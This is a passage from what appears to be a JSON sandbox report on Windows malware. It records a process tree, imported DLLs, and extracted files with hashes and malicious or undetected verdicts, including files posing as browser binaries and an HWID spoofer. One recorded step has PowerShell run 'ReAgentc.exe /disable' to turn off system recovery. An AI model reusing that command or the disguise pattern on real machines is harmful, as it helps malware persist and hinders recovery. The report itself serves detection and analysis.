ILES%\\(x86)\\windows nt\\ONENOTEM.EXE","parent_uid":"00000000-00004952","uid":"00000000-00005500"},{"pid":2136,"ppid":5500,"name":"powershell.exe","command_line":"","sha256":"67715009a6373acc7c2bb491d93c3eddd3d0f989c4c2fb60618e056898e60e49","normalized_path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005500","uid":"00000000-00002136"},{"pid":3868,"ppid":2136,"name":"ReAgentc.exe","command_line":"/disable","sha256":"e474a0fb4e5afa819575da7f02584c7f28031e6b293a0f8d9ff7551f6f4c9e24","normalized_path":"%WINDIR%\\SysWOW64\\ReAgentc.exe","parent_uid":"00000000-00002136","uid":"00000000-00003868"},{"pid":4272,"ppid":5500,"name":"ONENOTEM.EXE","command_line":"-","sha256":"e54b0ff737336ba12c828e2fa812770507f387b7b9ad1a88fe074e7f9547d381","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\ONENOTEM.EXE","parent_uid":"00000000-00005500","uid":"00000000-00004272"},{"pid":8188,"ppid":5500,"name":"ONENOTEM.EXE","command_line":"-","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\ONENOTEM.EXE","parent_uid":"00000000-00005500","uid":"00000000-00008188"},{"pid":3976,"ppid":0,"name":"MicrosoftEdgeUpdate.exe","command_line":"/svc","sha256":"8cc474d89e436458882fe72ca1ece40eadfb2c19c3b3788f72c8df926b5f7813","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\EdgeUpdate\\MicrosoftEdgeUpdate.exe","uid":"00000000-00003976","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAA6UgIhRBPKvFtlTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50refsbU/OstCIAAAAASUVORK5CYII="},{"pid":2764,"ppid":3976,"name":"MicrosoftEdgeUpdate.exe","command_line":"$7a","sha256":"8cc474d89e436458882fe72ca1ece40eadfb2c19c3b3788f72c8df926b5f7813","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\EdgeUpdate\\MicrosoftEdgeUpdate.exe","parent_uid":"00000000-00003976","uid":"00000000-00002764"},{"pid":2408,"ppid":0,"name":"msedge.exe","command_line":"--profile-directory=Default","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","uid":"00000000-00002408","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAA6UgIhRBPKvFtlTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50refsbU/OstCIAAAAASUVORK5CYII="},{"pid":5984,"ppid":2408,"name":"msedge.exe","command_line":"--type=crashpad-handler \"--user-data-dir=%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler \"--database=%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Crashpad\" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=145.0.7632.76 \"--annotation=exe=%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe\" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=145.0.3800.58 --initial-client-data=0x2c0,0x2c4,0x2c8,0x2bc,0x328,0x7ffa06ad0f18,0x7ffa06ad0f24,0x7ffa06ad0f30","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00002408","uid":"00000000-00005984"},{"pid":3404,"ppid":2408,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --startup-read-main-dll --metrics-shmem-handle=1852,i,13319343870584373571,996332515469536260,524288 --field-trial-handle=1956,i,8961665309207404206,4706861011307229540,262144 --variations-seed-version --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=2020 /prefetch:3","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00002408","uid":"00000000-00003404"},{"pid":3800,"ppid":2408,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --startup-read-main-dll --metrics-shmem-handle=2272,i,1230546691935311306,8690168109700758220,524288 --field-trial-handle=1956,i,8961665309207404206,4706861011307229540,262144 --variations-seed-version --trace-process-track-uuid=3190708990060038890 --mojo-platform-channel-handle=3116 /prefetch:8","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00002408","uid":"00000000-00003800"},{"pid":3424,"ppid":2408,"name":"msedge.exe","command_line":"--type=gpu-process --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAQAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --startup-read-main-dll --metrics-shmem-handle=1680,i,2568599988279803240,2646913699760375957,262144 --field-trial-handle=1956,i,8961665309207404206,4706861011307229540,262144 --variations-seed-version --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=1928 /prefetch:2","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00002408","uid":"00000000-00003424"},{"pid":7788,"ppid":2408,"name":"msedge.exe","command_line":"--type=renderer --instant-process --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --time-ticks-at-unix-epoch=-1790195137835893 --launch-time-ticks=2233989789 --skip-read-main-dll --metrics-shmem-handle=2836,i,8727529446717796842,15645212895711091515,2097152 --field-trial-handle=1956,i,8961665309207404206,4706861011307229540,262144 --variations-seed-version --trace-process-track-uuid=3190708990997080739 --mojo-platform-channel-handle=3848 /prefetch:1","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00002408","uid":"00000000-00007788"},{"pid":4128,"ppid":2408,"name":"msedge.exe","command_line":"--type=renderer --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --time-ticks-at-unix-epoch=-1790195137835893 --launch-time-ticks=2233965023 --ssd-no-pressure-read-main-dll --metrics-shmem-handle=2828,i,1587985829547118697,11732483302648864363,2097152 --field-trial-handle=1956,i,8961665309207404206,4706861011307229540,262144 --variations-seed-version --trace-process-track-uuid=3190708991934122588 --mojo-platform-channel-handle=3760 /prefetch:1","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00002408","uid":"00000000-00004128"},{"pid":7560,"ppid":2408,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --skip-read-main-dll --metrics-shmem-handle=4912,i,16358739961920497620,9880497634633391580,524288 --field-trial-handle=1956,i,8961665309207404206,4706861011307229540,262144 --variations-seed-version --trace-process-track-uuid=3190708993808206286 --mojo-platform-channel-handle=5224 /prefetch:8","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00002408","uid":"00000000-00007560"},{"pid":4464,"ppid":2408,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --skip-read-main-dll --metrics-shmem-handle=5536,i,8616155916580250168,15866093419441786926,524288 --field-trial-handle=1956,i,8961665309207404206,4706861011307229540,262144 --variations-seed-version --trace-process-track-uuid=3190708994745248135 --mojo-platform-channel-handle=5544 /prefetch:8","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00002408","uid":"00000000-00004464"},{"pid":7080,"ppid":2408,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --ssd-no-pressure-read-main-dll --metrics-shmem-handle=4744,i,9352738652585854697,12107952642112164520,524288 --field-trial-handle=1956,i,8961665309207404206,4706861011307229540,262144 --variations-seed-version --trace-process-track-uuid=3190708995682289984 --mojo-platform-channel-handle=4692 /prefetch:8","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00002408","uid":"00000000-00007080"},{"pid":4916,"ppid":2408,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --skip-read-main-dll --metrics-shmem-handle=5920,i,5311032463630351188,14765975236809291519,524288 --field-trial-handle=1956,i,8961665309207404206,4706861011307229540,262144 --variations-seed-version --trace-process-track-uuid=3190708997556373682 --mojo-platform-channel-handle=5848 /prefetch:8","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00002408","uid":"00000000-00004916"},{"pid":6376,"ppid":2408,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --skip-read-main-dll --metrics-shmem-handle=5020,i,16099347687540451300,14624908783373134710,524288 --field-trial-handle=1956,i,8961665309207404206,4706861011307229540,262144 --variations-seed-version --trace-process-track-uuid=3190708998493415531 --mojo-platform-channel-handle=5048 /prefetch:8","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00002408","uid":"00000000-00006376"},{"pid":5140,"ppid":2408,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --ssd-no-pressure-read-main-dll --metrics-shmem-handle=5972,i,7354368628106937028,248299567441363227,524288 --field-trial-handle=1956,i,8961665309207404206,4706861011307229540,262144 --variations-seed-version --trace-process-track-uuid=3190708999430457380 --mojo-platform-channel-handle=5952 /prefetch:8","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00002408","uid":"00000000-00005140"}],"all_imported_dlls":["imagehlp.dll","winmm.dll","Microsoft.Management.Infrastructure.Native.Unmanaged.dll","rasapi32.dll","kernel32.dll","ws2_32.dll","msvcrt.dll","cryptsp.dll","uxtheme.dll","dsreg.dll","crypt32.dll","nsi.dll","msvcp140.dll","shlwapi.dll","aepic.dll","msedgeupdate.dll","dmcmnutils.dll","wldp.dll","fastprox.dll","System.Xml.ni.dll","gdi32full.dll","clr.dll","dhcpcsvc.dll","Microsoft.PowerShell.Security.dll","sppc.dll","Microsoft.PowerShell.Commands.Utility.dll","apphelp.dll","combase.dll","Windows.StateRepositoryPS.dll","userenv.dll","System.Transactions.dll","Microsoft.AppV.AppvClientComConsumer.dll","Microsoft.PowerShell.Commands.Management.dll","System.Windows.Forms.dll","powrprof.dll","wow64cpu.dll","ncrypt.dll","psmachine_64.dll","gpapi.dll","cabinet.dll","fveapi.dll","msvcp_win.dll","psapi.dll","samcli.dll","CoreMessaging.dll","RstrtMgr.dll","System.Numerics.dll","ntdll.dll","mscoreei.dll","SHCore.dll","ntasn1.dll","dhcpcsvc6.dll","Microsoft.PowerShell.ConsoleHost.dll","Microsoft.AppV.AppVClientPowerShell.dll","normaliz.dll","urlmon.dll","System.Data.dll","vcruntime140_1.dll","advapi32.dll","clrjit.dll","OpcServices.dll","rtutils.dll","vcruntime140_clr0400.dll","iertutil.dll","mdmregistration.dll","msvcp110_win.dll","secur32.dll","wmidcom.dll","ncryptsslp.dll","miutils.dll","mskeyprotect.dll","wdscore.dll","version.dll","taskschd.dll","wbemdisp.dll","System.Management.Automation.dll","System.Core.ni.dll","System.Configuration.ni.dll","MpClient.dll","winnsi.dll","rpcrt4.dll","msIso.dll","devobj.dll","winmmbase.dll","slc.dll","fltLib.dll","clbcatq.dll","sxs.dll","AppxSip.dll","wininet.dll","System.Configuration.Install.dll","System.ServiceProcess.dll","imm32.dll","mscorlib.ni.dll","wow64win.dll","bcrypt.dll","rsaenh.dll","wshext.dll","oleaut32.dll","wow64.dll","wtsapi32.dll","netapi32.dll","Microsoft.Management.Infrastructure.Native.dll","ntmarta.dll","propsys.dll","comctl32.dll","dnsapi.dll","System.Management.dll","msisip.dll","bcryptprimitives.dll","wintrust.dll","mswsock.dll","cryptnet.dll","ucrtbase_clr0400.dll","windows.storage.dll","cldapi.dll","wbemsvc.dll","diasymreader.dll","kernel.appcore.dll","profapi.dll","VxSSL32.dll","cryptbase.dll","wkscli.dll","Microsoft.BitLocker.Structures.dll","rasman.dll","mscoree.dll","KernelBase.dll","shell32.dll","psmachine.dll","IPHLPAPI.DLL","Microsoft.Management.Infrastructure.ni.dll","ReAgent.dll","schannel.dll","gdi32.dll","vcruntime140.dll","OnDemandConnRouteHelper.dll","cfgmgr32.dll","edputil.dll","msxml6.dll","winsta.dll","ole32.dll","atl.dll","amsi.dll","rasadhlp.dll","MpOAV.dll","user32.dll","winhttp.dll","System.DirectoryServices.dll","xmllite.dll","dbgcore.dll","VxSSL64.dll","netutils.dll","wbemprox.dll","coml2.dll","pwrshsip.dll","mi.dll","sechost.dll","msasn1.dll","FWPUCLNT.DLL","Re6302G3.dll","ucrtbase.dll","System.ni.dll","dpapi.dll","msctf.dll","wbemcomn.dll","dbghelp.dll","wmiutils.dll","win32u.dll","sspicli.dll"]},"file_activity":{"dropped_files":[],"extracted_files":[{"name":"svchost.exe","sha256":"913792a7cec3a062742f3390d7941a7e95aeeb7e1537e4a52590049d54c5c5e8","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"lsass.exe","sha256":"e54b0ff737336ba12c828e2fa812770507f387b7b9ad1a88fe074e7f9547d381","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"RPZ-HWID.dll","sha256":"596202bd7587a7bb339b76f2a98fec94418912cbc6daa6ee4c002419125ce2f9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"RPZ-HWID.exe","sha256":"edfb0a2fa00819a1d3ca9718310451c40255e5c24177c0a75552c735e840bac6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"MicrosoftEdgeUpdate.exe","sha256":"8cc474d89e436458882fe72ca1ece40eadfb2c19c3b3788f72c8df926b5f7813","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"MicrosoftEdgeComRegisterShellARM64.exe","sha256":"accff03dea2b03160623a035ea1e4785c1c170378e5cbd9251cc7397c42f0fdd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"MicrosoftEdgeUpdateBroker.exe","sha256":"95f2dc731195d9ae4d0d85386adba95725b8c18431a5c0088417fb9c076fda61","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"MicrosoftEdgeUpdateComRegisterShell64.exe","sha256":"0742b71bf052d741ed23c36dbcf226451e0b92bf07a607b8dcebb9b272e13678","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"MicrosoftEdgeUpdateCore.exe","sha256":"d3b00a7e3b21c636a1fb766d8706b6bc656f15c246481a5b22eb481ced66dbbe","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"MicrosoftEdgeUpdateOnDemand.exe","sha256":"07140635c6db7e963b9726b47aa480f2367745ed66190f517a6ef700bccad68c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdate.dll","sha256":"7804dca6b458aae0177fa3debaa727c1e22e5e26566b8c412124563210d3cd6c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_el.dll","sha256":"1af864230e79963216bba1dfbbe080f3ac1cfb8bdb91f4f9dd805692c2f237a8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"psmachine.dll","sha256":"e6739f8d8fa1e804bbc43648c40c5940e64fb5707c9915954ff87809ef940c15","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"psmachine_64.dll","sha256":"879230912e5210e82fbab19e5635c56787bf85ce43e4425aca5766907f9d8afc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"psmachine_arm64.dll","sha256":"b5a6eb30196084d98cc6255a8f41551bdad9cfdaf319628d646863634a3ea235","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"psuser.dll","sha256":"46021ab6fcb53f58083084b5b940da96d7027800fe956f131137ce915f1b65bf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"psuser_64.dll","sha256":"d3adc69106f8d3efcfcc8d11003699f8c8766a40a59d6d8aabdc4d5ead4201c7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"psuser_arm64.dll","sha256":"80f242e3859188ae69c5044b4eb2a12e0e08e7b38ebf9d759c1c2745149db1f7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"MicrosoftEdgeWebview2Setup.exe","sha256":"0223fa1e8d5bd5e4344fb8734e60d088e79f262c0a24444d01f240bc996f04e5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"conhost.exe","sha256":"913792a7cec3a062742f3390d7941a7e95aeeb7e1537e4a52590049d54c5c5e8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"ONENOTEM.EXE","sha256":"e54b0ff737336ba12c828e2fa812770507f387b7b9ad1a88fe074e7f9547d381","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"MicrosoftEdgeUpdate.log","sha256":"5d5123b015162525249bf8a372957d5c72d4fdc7469a39a5cfe868874baf739b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"RPZ-HWID.deps.json","sha256":"ddb85a87048782ae20184c196f767865aa5ef4f25b3dc6a5c1c8fb3c7cba2550","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"RPZ-HWID.pdb","sha256":"904299f6b4844335d3cdbffa76f7ff26901ffca8f8a62b9749e551acab20c5ec","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"RPZ-HWID.runtimeconfig.json","sha256":"f03c65b081ae722b8c7e574c583688d95ee15b246a6bf5c9a79cb496cbd27583","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"SexsoldierSpoofer.exe.log","sha256":"abd1704bee08885a638b7828e124f0611e43d0acda974e5f50edc018d5e50207","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"conhost.exe.log","sha256":"c120afd1b8a0f7d3825754023f3c58ad3fa1e7bc97024a37d2f73ee2880babdd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"powershell.exe.log","sha256":"500934f236f712ace71cc0bad97a24d3f25109180e9b96e0e5c37ef2c100e13d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"svchost.exe.log","sha256":"c120afd1b8a0f7d3825754023f3c58ad3fa1e7bc97024a37d2f73ee2880babdd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"ModuleAnalysisCache","sha256":"c5bcc3e7a92f458ac6bbffe45fa704f4207086f9cf9dd6850a74d691b41eb2d0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"StartupProfileData-Interactive","sha256":"eacc3e6eb1a08ed877e270253d486a8d0bb3f198a4f518b9e34c409d3689d08b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"CopilotUpdate.exe","sha256":"b4f5739d02c9c585bb0662e42ec8530f6290bf9c81aff22c9a4ca25dac2831b1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"MicrosoftEdgeUpdateSetup.exe","sha256":"0223fa1e8d5bd5e4344fb8734e60d088e79f262c0a24444d01f240bc996f04e5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_af.dll","sha256":"c1d5b4b63391ac463206c166fd565a7a2e76227ca4d98506a08f0e9abfbbbc25","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_am.dll","sha256":"d863ebe6c951b25010518261e71deb7d18876dbb00634dd402416474f19b1c0a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_ar.dll","sha256":"a54c221c12e840fc83dc4ffd4c8c81c195fb0ba71977d39b8693d423a0e51bd0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_as.dll","sha256":"8578763cf73e28b229497f2a0d3ba589157a0401311260fc2e97e25cf1b7d444","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_az.dll","sha256":"f5511b10a3ba531b7f56151734bd6f90d16d858d3a433b0d6f7abf4d651a1edc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_bg.dll","sha256":"232fcbea41baad98bac4d4f080c381300b8484bf69c2b499f75e7169f4a4e942","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_bn-IN.dll","sha256":"16ba0a0c46865990f3953a95546eeb4b1c825f4b9d1db6e5ba414966bf023817","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_bn.dll","sha256":"415b3cf2349457a20e6785472eb811648b8877362db4ce2170690e70ad78372f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_bs.dll","sha256":"9c8e9a8c82dc1723e470febf437e213a06cab42f8b91d3408edd13028ee403f7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_ca-Es-VALENCIA.dll","sha256":"020c8efa528b97b48328bd33091b7c6aa64ce817aff02506beb58842d4e04d58","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_ca.dll","sha256":"143ad42e414306c5033d465d7058c36c99d50ca57e67bdb37adabdbc132bd629","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_cs.dll","sha256":"d036422b90e15abd1763c07b479bc358adb7719d5bb14da896f8fd4de1bb67ba","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_cy.dll","sha256":"9113b876c4d6a633d8ddf756d7f1efc787e072408f812256ef658def06d85486","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_da.dll","sha256":"4d42ec9289937b39bca503ca542940d15c574180195c9a8dbcec08e5dfddd032","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_de.dll","sha256":"704d3f4a296dd681841a25533ff0e8c2ca491e3a728c3ce3ef5ea002366e65c6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_en-GB.dll","sha256":"8919c1b287158f408ef06aa3dedcb7472a681e489abf96895a7f77714a2d9964","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_en.dll","sha256":"9de7c3d13fd0b2a3434f7215ad0bee8a46579d5f787170eb5c868078392b8913","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_es-419.dll","sha256":"103894ee64c0885271b53a3a111433010bc5acbe811c0f0feed715cb0c84bfa3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_es.dll","sha256":"26622dcf5fd7d55b3f961c3f565e25963a97feff61e2a2c89bee21091e63a873","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_et.dll","sha256":"3f5ece8885039a13806315bf922133fca9a4c3b2a75f8b7b9f7498d3143e5276","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_eu.dll","sha256":"bf4b76db0b2bf26a098b2b79d5d52e0a1685b7592b79cf48762f35ea4f2f9964","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_fa.dll","sha256":"ca7a2b82f34b2ddbda368aaaad43c4aac2eabcab3d6531de3f9969bbd06771f5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_fi.dll","sha256":"4314f21e69f655b5543c0705f2ca4988ffebf23a251904a8b2a798670ab9a797","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_fil.dll","sha256":"cd98f7e275a2dc8730432accd4a2140d39e99b833e857f0aa7d66a3446592d2d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_fr-CA.dll","sha256":"a0fb3efd4736